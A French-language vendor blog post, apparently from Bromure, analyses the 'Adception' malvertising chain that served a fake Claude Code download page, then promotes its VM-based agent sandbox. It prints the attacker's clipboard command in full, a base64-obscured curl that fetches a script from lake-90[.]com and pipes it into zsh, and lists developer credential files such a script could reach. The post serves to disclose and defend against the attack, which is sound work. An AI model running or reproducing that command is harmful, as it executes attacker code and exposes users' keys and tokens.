← Retour à tous les articles
Publié le · par Renaud Deraison

La page affichait la vraie commande

Le 9 octobre, Push Security a décrit une annonce Google pour « claude mac » dont la destination était un vrai lien bing.com. Quatre redirections plus loin, une fausse page de téléchargement de Claude affichait la véritable commande d'installation d'Anthropic, et son bouton Copier en mettait une autre dans le presse-papiers : une URL cachée, envoyée dans zsh. Push appelle la technique Adception. Dans Bromure Agentic Coding, Claude Code arrive dans une VM par une étape d'installation signée, la connexion se fait dans une machine jetable, et personne ne tape de commande d'installation dans un terminal du Mac.

La page affichait la commande d'installation d'Anthropic, au caractère près. Le bouton Copier en mettait une autre dans le presse-papiers.

Chez un client de Push Security, quelqu'un a tapé « claude mac » dans Google. Le premier résultat était un lien sponsorisé, et le domaine affiché dessous était bing.com. L'annonce n'utilisait ni domaine sosie ni faute de frappe sur le nom d'Anthropic. La vérification publicitaire de Google avait approuvé une annonce dont la destination était un autre moteur de recherche.

Push a publié la chaîne le jeudi 9 octobre et a baptisé la technique Adception. BleepingComputer a repris l'histoire l'après-midi même. Les chercheurs de Push écrivent qu'ils avaient déjà vu des résultats de recherche servir de redirecteurs, mais « jamais comme destination d'une annonce de recherche, et nous n'avons trouvé aucun signalement public antérieur ». Un horodatage dans le lien Bing se décode en 5 octobre.

Quatre sauts jusqu'à un bouton Copier

Le clic passait par quatre étapes :

  1. google.com/aclk, la redirection de clic publicitaire de Google.
  2. bing.com/ck/a, le lien de suivi de clic de Bing pour un vrai résultat de recherche. Il redirige avec une courte page JavaScript, si bien que le navigateur arrive au saut suivant avec un referrer bing.com.
  3. La page « qui sommes-nous » d'un vrai commerçant sud-américain dont le site WordPress a été compromis. Elle ne redirige que les visiteurs qui arrivent de Bing avec les bons en-têtes de navigateur.
  4. claude-desk-code[.]com, une copie soignée de la page de téléchargement de Claude, avec un bouton Download for macOS et une installation en une ligne dans le terminal.

Chaque saut vérifie d'où vient le visiteur. Chargez la fausse page directement, et son JavaScript lit document.referrer, n'y trouve ni Google ni Bing, et sert /404.html. Un vérificateur d'annonces, un scanner ou un chercheur qui colle l'URL ne voit rien. Selon Push, « la charge malveillante n'apparaissait que si l'on atteignait la fin de la chaîne par ce chemin précis ».

La page affiche la commande publiée par Anthropic :

curl -fsSL https://claude.ai/install.sh | bash

Le bouton Copier met plutôt ceci dans le presse-papiers :

echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0" | openssl base64 -d -A) | zsh

Collée dans Terminal, la première moitié affiche une ligne rassurante qui contient l'URL d'Anthropic. La seconde décode une adresse cachée sur lake-90[.]com, récupère un fichier .dat et l'envoie dans zsh. Rien n'atterrit sur le disque qui puisse être analysé avant. Push relie huit domaines leurres, dont cli-desktop[.]com et too.clawddddd[.]com, à une boîte à outils qu'il suit sous le nom d'AcSig, et note que les domaines tournent assez vite pour que « les IoC éphémères n'aient qu'une valeur limitée ».

Pourquoi le leurre est un outil d'IA

Push classe Adception sous InstallFix, une variante de ClickFix décrite pour la première fois en mars : de faux guides d'installation pour des outils dont la vraie installation tient en une ligne de terminal. Claude Code est le cas d'école. Son installation documentée est un curl envoyé dans un shell, donc une page qui demande à un développeur d'en coller un dans Terminal a l'air authentique.

Push indique que les pages ClickFix représentent désormais plus de la moitié de ses détections mensuelles, et que « 4 attaques ClickFix sur 5 (variantes InstallFix et LLMshare comprises) que nous détectons atteignent leurs victimes via les moteurs de recherche ». Les développeurs forment l'essentiel de ceux qui cherchent « claude mac », et le Mac d'un développeur vaut cher pour quiconque y exécute un script.

Push n'a pas récupéré la charge finale, si bien que personne ne sait encore ce que fait ce script. Un processus zsh lancé depuis votre Terminal tourne sous votre identité, avec votre dossier personnel :

  • ~/.aws/credentials, ~/.config/gcloud, ~/.kube/config
  • ~/.ssh/id_ed25519 et ~/.git-credentials
  • le token gh et les tokens de publication npm et PyPI
  • les fichiers .env de chaque checkout
  • la connexion de l'agent lui-même, si Claude Code était déjà installé
  • les profils de navigateur, les cookies et les tokens de session

La victime croit en plus que l'installation a fonctionné. Si le script installe le vrai Claude Code en dernière étape, rien ne paraît anormal.

Sur un Mac : 4 redirections, 1 bouton Copier, 1 collage1. Annonce Googlerecherche : « claude mac »domaine affiché : bing.com2. bing.com/ck/avrai lien de résultatredirige en JavaScript3. « Qui sommes-nous »WordPress compromisne redirige que via Bing4. claude-desk-code[.]comfausse page de télécharg.visite directe : 404Affiché sur la pagecurl -fsSL https://claude.ai/install.sh | bashMis dans le presse-papiersecho "Downloading Claude…" && curl $(… | base64 -d) | zshTerminal sur votre Mac : le script de lake-90[.]com tourne en votre nom~/.aws · ~/.config/gcloud · ~/.kube/config · ~/.ssh · token gh · tokens npm et PyPI · .env · sessions navigateurL'écran affiche « Downloading Claude: https://claude.ai/install.sh ». Rien n'est écrit sur disque avant.
Adception sur un Mac. Chaque redirection vérifie le referrer, si bien que seul un vrai clic sur l'annonce atteint la fausse page. La page montre la commande d'Anthropic, copie celle de l'attaquant, et la ligne collée exécute un script caché sous votre identité.

Les conseils font reposer le travail sur vous

Les recommandations qui ont suivi le rapport sont la liste habituelle : tapez vous-même l'URL de l'éditeur, méfiez-vous des résultats sponsorisés, relisez ce que vous avez collé avant d'appuyer sur Entrée, considérez comme suspecte toute page d'installation qui demande d'ouvrir Terminal. Tout cela est juste. Cela demande aussi à un développeur, en pleine installation d'un nouvel outil, d'être plus attentif qu'une page conçue pour passer un coup d'œil rapide. La commande à l'écran était celle d'Anthropic. Le domaine de l'annonce était celui de Bing. La redirection passait par un vrai commerçant. Un développeur prudent qui aurait vérifié chacun de ces points n'aurait rien trouvé d'anormal.

Bromure supprime l'étape dont l'attaque dépend : un développeur qui colle la commande d'installation d'un agent de code dans un terminal du Mac qui détient ses clés.

Claude Code sur un Mac, sans l'installer sur le Mac

Bromure Agentic Coding fait tourner Claude Code, Codex, Grok, Kimi Code et Oh My Pi dans des VM Linux sur votre Mac. Aucun d'eux n'y arrive par un terminal du Mac.

L'app est une image disque notarisée

Bromure Agentic Coding est distribué sous forme de DMG signé et notarisé depuis bromure.io. Vous le glissez dans Applications, et Gatekeeper l'ouvre sans avertissement. Le manuel dit quoi faire de toute autre copie : « Si vous avez obtenu un DMG ailleurs que sur bromure.io et que Gatekeeper proteste, considérez-le comme un signal d'alarme, pas comme un obstacle à contourner. » Ensuite, l'app se met à jour elle-même avec Sparkle, et vérifie chaque mise à jour avec la clé de signature de Bromure avant de l'installer. L'installation entière ne contient aucune commande, donc aucun bouton Copier que quiconque pourrait détourner.

Les agents arrivent par des étapes d'installation signées

Au premier lancement, l'assistant de configuration télécharge l'image de base de Bromure, un disque Ubuntu 24.04, et vérifie son SHA-256. Il installe ensuite les agents dans votre copie de l'image, sous forme d'étapes d'installation listées dans un catalogue. Le catalogue porte une signature ed25519, faite avec la même clé que celle qui signe les mises à jour de l'app, et cette signature couvre chaque commande d'installation. L'app refuse un catalogue non signé ou modifié, ainsi que tout catalogue plus ancien qu'un catalogue déjà accepté.

L'étape de Claude Code est une installation npm encapsulée dans le scanner de chaîne d'approvisionnement de Socket.dev, exécutée dans une VM auxiliaire. Personne ne la colle, et un serveur de téléchargement trafiqué ne peut pas la modifier. Pendant son exécution, l'étape de l'assistant affiche « Customizing the image: installing packages… ».

Quand un agent se met ensuite à jour lui-même dans une machine avec npm install -g, la requête traverse le proxy de Bromure sur le Mac comme n'importe quel autre téléchargement de paquet. Le proxy applique la politique de chaîne d'approvisionnement de la machine (délai d'ancienneté, OSV, Socket.dev, Depi, selon ce que vous avez activé) avant qu'un seul octet n'atteigne la VM, et enregistre le téléchargement dans la Security Timeline.

La connexion se fait dans une machine jetable

Le guide d'installation de Claude Code se termine par une connexion. Dans Bromure, c'est l'étape Models de l'assistant qui s'en charge : choisissez la connexion Anthropic, terminez dans la page de navigateur qui s'ouvre, et attendez Signed in to Claude. Le manuel décrit ce qui se passe en dessous : « La connexion se fait sur votre Mac, dans une machine temporaire cachée ; vous ne voyez jamais de terminal. » Le CLI du fournisseur lance sa propre procédure de connexion dans cette VM. Bromure capture les tokens sur l'hôte, les chiffre et supprime la VM.

La connexion est stockée dans un fichier chiffré en AES-GCM sous une clé maîtresse conservée dans le trousseau Data Protection du Mac, marquée pour cet appareil uniquement, sans synchronisation iCloud. Aucun fichier de token ~/.claude ne traîne dans votre dossier personnel pour qu'un script le ramasse, et chaque machine reçoit son propre substitut.

Dans Bromure : Claude Code sur votre Mac, rien de collé dans TerminalL'appDMG signé et notarisédepuis bromure.ioGlisser dans Applications,Gatekeeper l'ouvreMises à jour Sparklevérifiées (clé Bromure)aucune commande à copierInstallation, sur le MacCatalogue signé ed25519 :couvre chaque commandeClaude Code : npm install,via Socket.dev, VM auxiliaireConnexion : VM cachée jetabletokens capturés et chiffréssur l'hôte, VM suppriméeVM de machine (Ubuntu)Claude Code, Codex, Grok,Kimi Code, Oh My Pisk-ant-api03-brm-…substituts, pas vos clésnpm install -g (mise à jour)→ contrôles du proxy→ Security TimelineGardé sur le Mac, chiffré sous une clé du trousseau (cet appareil seul)connexions d'abonnement · clés d'API · identifiants git et cloud · clés SSH · traces
Le même objectif dans Bromure. L'app est un DMG notarisé, les agents sont installés par des étapes signées dans l'image, et la connexion s'exécute dans une VM supprimée ensuite. Aucune étape ne vous demande de coller une commande dans Terminal.

Quand l'agent part à la recherche d'installeurs

Adception cible une personne devant un champ de recherche. Les agents de code cherchent eux aussi des instructions d'installation, et plus souvent que les humains : un CLI manquant, un nouveau SDK, un linter mentionné dans le README. Un agent lit le HTML de la page au lieu de cliquer sur Copier, mais les pages InstallFix portent la mauvaise commande dans leur source, et la prochaine campagne pourrait se passer complètement de l'astuce du presse-papiers.

Imaginons qu'un agent dans une machine Bromure trouve une page comme claude-desk-code[.]com et exécute sa commande en une ligne. Quatre couches séparent ce script de vos clés.

Le script tourne dans un invité Linux avec des substituts

La machine est une VM Ubuntu, et le script tourne dans cet invité Linux. Son dossier personnel contient le checkout du projet et des substituts brm_ sous les noms habituels : ANTHROPIC_API_KEY, GH_TOKEN, AWS_SECRET_ACCESS_KEY. Les vraies valeurs restent chiffrées sur le Mac, et le proxy ne les met sur le réseau que pour les requêtes vers l'hôte pour lequel chaque identifiant a été créé. Un script qui ramasse tous les tokens qu'il trouve ramasse des chaînes qu'aucun serveur n'acceptera.

Un substitut en route vers le mauvais hôte arrête la machine

Le proxy inspecte chaque requête sortante, ligne de requête, en-têtes et corps, à la recherche de substituts en route vers un hôte auquel ils n'appartiennent pas. Quand le script expédie son butin au serveur de l'attaquant, le proxy répond HTTP 451, ne transmet rien, met la VM en pause et ouvre This environment may have been compromised sur le Mac, avec le token, son identifiant, l'hôte auquel il appartient et l'hôte vers lequel il a été envoyé.

L'hôte de la charge n'a jamais figuré sur la liste

Le panneau Guardrails de la machine contient un pare-feu Outbound connections, avec des règles par hôte, plage d'IP, protocole et port. Réglez Unmatched traffic sur Deny, autorisez le fournisseur du modèle, les registres et GitHub, et le curl vers lake-90[.]com ne se connecte jamais. Le verdict arrive dans la Security Timeline à côté de la session qui a fait la requête.

Le dossier personnel revient en arrière

Chaque démarrage d'une machine crée un point de restauration de son dossier personnel. Éteignez la machine, choisissez Rewind home…, sélectionnez le démarrage d'avant l'exécution du script, et le démarrage suivant repart de ce dossier. Le dossier actuel est d'abord conservé comme un nouveau point, si bien que le retour en arrière peut lui-même être annulé. Pour repartir de zéro, réinitialisez la machine sur l'image de base.

Aucune commande d'installation à coller

Bromure est distribué sous forme de DMG notarisé depuis bromure.io et se met à jour par des versions Sparkle signées. Rien dans l'installation ne vous demande d'ouvrir Terminal.

Les agents viennent d'un catalogue signé

Claude Code et les autres agents sont installés dans l'image de base par des étapes dont les commandes sont couvertes par une signature ed25519. Un serveur trafiqué ne peut pas les modifier.

Connexion dans une VM jetable

La connexion du fournisseur s'exécute dans une machine temporaire cachée. Les tokens sont chiffrés sur le Mac sous une clé du trousseau, et chaque machine reçoit un substitut.

Une mauvaise commande atterrit dans une VM

Si un agent en exécute une malgré tout, elle tourne sous Linux avec des substituts, derrière un pare-feu et un détecteur de compromission sur le Mac, et le dossier personnel se restaure.

La prochaine annonce

Push a découvert Adception grâce au clic d'un seul client, sur un leurre visant un seul terme de recherche. La boîte à outils AcSig compte huit domaines, et la même page fonctionne pour « codex mac », « gemini cli install » ou n'importe quel outil que les développeurs chercheront le mois prochain. Cette fois, Google a approuvé un lien Bing. La prochaine fois, l'annonce pourrait pointer vers un autre domaine auquel un vérificateur d'annonces fait confiance.

Installez l'agent de code une fois, comme une app, et laissez-le tourner là où l'installation est signée et où les clés sont des substituts. Pour en savoir plus sur les commandes collées et la confiance empruntée, lisez Le presse-papiers est l'exploit et Ils ont ajouté votre agent à la liste.